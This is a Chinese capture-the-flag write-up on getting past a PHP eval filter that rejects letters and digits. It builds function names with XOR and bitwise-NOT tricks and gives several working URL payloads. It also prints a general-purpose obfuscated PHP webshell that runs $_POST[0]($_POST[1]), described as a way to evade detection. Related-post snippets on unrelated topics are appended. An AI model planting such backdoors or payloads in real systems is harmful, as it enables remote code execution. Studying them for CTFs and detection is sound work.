记一次拿webshell踩过的坑(如何利用PHP编写一个不包含数字和字母的后门)
转载自:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
0x01 前言
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。
那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
0x02 前置知识铺垫
在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。
我们先看一下下面这段代码:
<?phpecho "A"^"?"; ?>
运行结果如下:
我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__(); ?>
代码执行结果如下:
我们一起来分析一下上面这段代码:
- $_++; 这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
- $__="?" ^ "}"; 对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
- __ (); 通过上面的赋值操作,变量__ (); 通过上面的赋值操作,变量__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。
看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门:
<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
在这里我说明下,.=是字符串的连接,具体参看php语法
我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
0x03 问题分析
对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~
我们该如何构造这个字串使得长度小于40呢?
我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析
Return Top
①构造_GET读取
首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:
<?phpecho "`{{{"^"?<>/";//_GET ?>
这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` `
和Linux下面的通配符?
?
代表匹配一个字符- ` 表示执行命令
- " 对特殊字符串进行解析
由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看
<?phpecho "{"^"<"; ?>
输出结果为:
<?phpecho "{"^">"; ?>
输出结果为:
<?phpecho "{"^"/"; ?>
输出结果为:
所以_GET就是这么被构造出来的
Return Top
②获取_GET参数
如何获取呢?咱们可以构造出如下字串:
<?phpecho ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
Return Top
③传入参数
此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:
<?phpecho $_=getFlag;//getFlag ?>
所以把参数全部连接起来,就可以了~~
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
结果如下:
我们就成功读取到了flag~~
补充
我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~
有个payloads是这样子:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
这个是把getFlag取反然后URL编码
然后我们看看下一个payloads:
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"}
取反相当于 $_GET,拼接出了
$_GET['+']();,传入 +=getFlag() 从而执行了函数
再看看下面这种骚操作:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
$啊=getFlag;$啊();
,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上:
0x04 扩展阅读
我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。
- https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
- http://php.net/manual/zh/language.operators.increment.php
记一次拿webshell踩过的坑(如何利用PHP编写一个不包含数字和字母的后门)相关推荐
- php 字母数字下划线,CTF踩坑PHP编写一个不包含数字字母和下划线的后门
首先要了解一下php中异或的用法 先看以下代码 echo "A"^"?"; ?> 运行结果 图片.png 我们可以看到,输出的结果是字符"~&q ...
- 项目后期踩到这些坑,原来可以这么简单处理(数字后端实现救火篇)
项目后期踩到这些坑,原来可以这么简单处理!(数字后端实现救火篇) 文章右侧广告为官方硬广告,与吾爱IC社区无关,用户勿点.点击进去后出现任何损失与社区无关. 最近一直在帮同事解决各种问题.由于临近项目 ...
- 记一次使用Cobar踩到的坑
起因 起因是因为日志里经常报出锁等待超时的错误,并且这个是环环相扣的,一个锁等待会直接引发另外的锁等待,所以危害非常严重,影响非常深远.寻找原因发现是C3P0报出了DEADLOCK,如下图所示: 分析 ...
- php 非数字和字母,如何通过非数字与字符的方式实现PHP WebShell详解
前言 本文主要给大家介绍的是关于通过非数字与字符实现PHP WebShell的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍: 一般来说,我们所写的webshell通常都会包含数字或字母. ...
- IC设计笔记----记录我踩过的坑
一.关于Design 1.设计功能模块. 首先详细掌握模块功能. 然后定义接口信号,设计模块结构,尽可能复用逻辑资源. 最后再写代码. 对于定义接口信号,多说几句. (1)如果是一个人独自完成,那么其 ...
- 记一次编译Cesium踩坑记录
记一次编译Cesium踩坑记录 cd cesium npm install npm install express --save npm install compression --save npm ...
- 启动mq 在虚拟机中_记在使用rocketmq client客户端过程中踩到的坑
前言 最近项目中使用阿里的RocketMQ来做消息队列,具体怎么使用RocketMQ不在本文讨论范围之内,其相关帮助文档可以参考如下链接 本文主要记录在使用rocketmq client时,遇到的一些 ...
- python登录教务系统_记python登陆学校教务系统踩过的坑
最近开发关于学校服务类小程序,小程序后台需要从学校的系统获取到各同学的信息,所以语言优先选择了python,并用了Django框架.之前也有写过一些爬虫,但都是用其他语言写的.对python并不熟悉, ...
- arcgis python 二次开发_我在部署ArcGIS API for Python时踩到的坑
ArcGIS API for Python相比于其他ESRI产品,还是很年轻.我在部署时踩到了坑,网上也找不到解决方法,很是煞风景,也很打击学习的积极性. 今天回顾一下,做个总结吧.一方面自己备忘,另 ...
最新文章
- 马斯克发首款会上火星的电动皮卡:28万起,可防弹,造型相当“赛博朋克”...
- 临时对象与NRV技术
- grep与正则表达式基础
- java基本数据类型线程_Java基本数据类型
- 报错空指针异常_让你为之颤抖的Java常见的异常exception
- 实现物联网项目,你需要提前知道的6件事情
- mysqld: [Warning] World-writable config file ‘/etc/my.cnf‘ is ignored.问题解决
- 教你学习CI框架codelgniter——CI框架基本配置
- mysql if join_如何在MySQL中使用JOIN编写正确的If … Else语句?
- js基础-20-js对象赋值时的key值问题
- 大学计算机实践教程咖啡文化,北京大学图书馆学习共享空间.docx
- LimeSDR官方系列教程(四):To Pothos and Beyond
- 双链路是什么意思_双链路DVI是什么意思 工作原理是什么
- 测量学7_地形图的基本知识
- STM8/32 芯片数据擦除
- 7-3 求100以内的素数
- 一张图理解EOS是什么
- 树形数据结构和扁平数据相互转换
- 福利 | CarBlock 开启「区块链+车联网」数据应用新时代
- 【DCDC电源电路不满足最小导通时间要求导致输出纹波过大问题】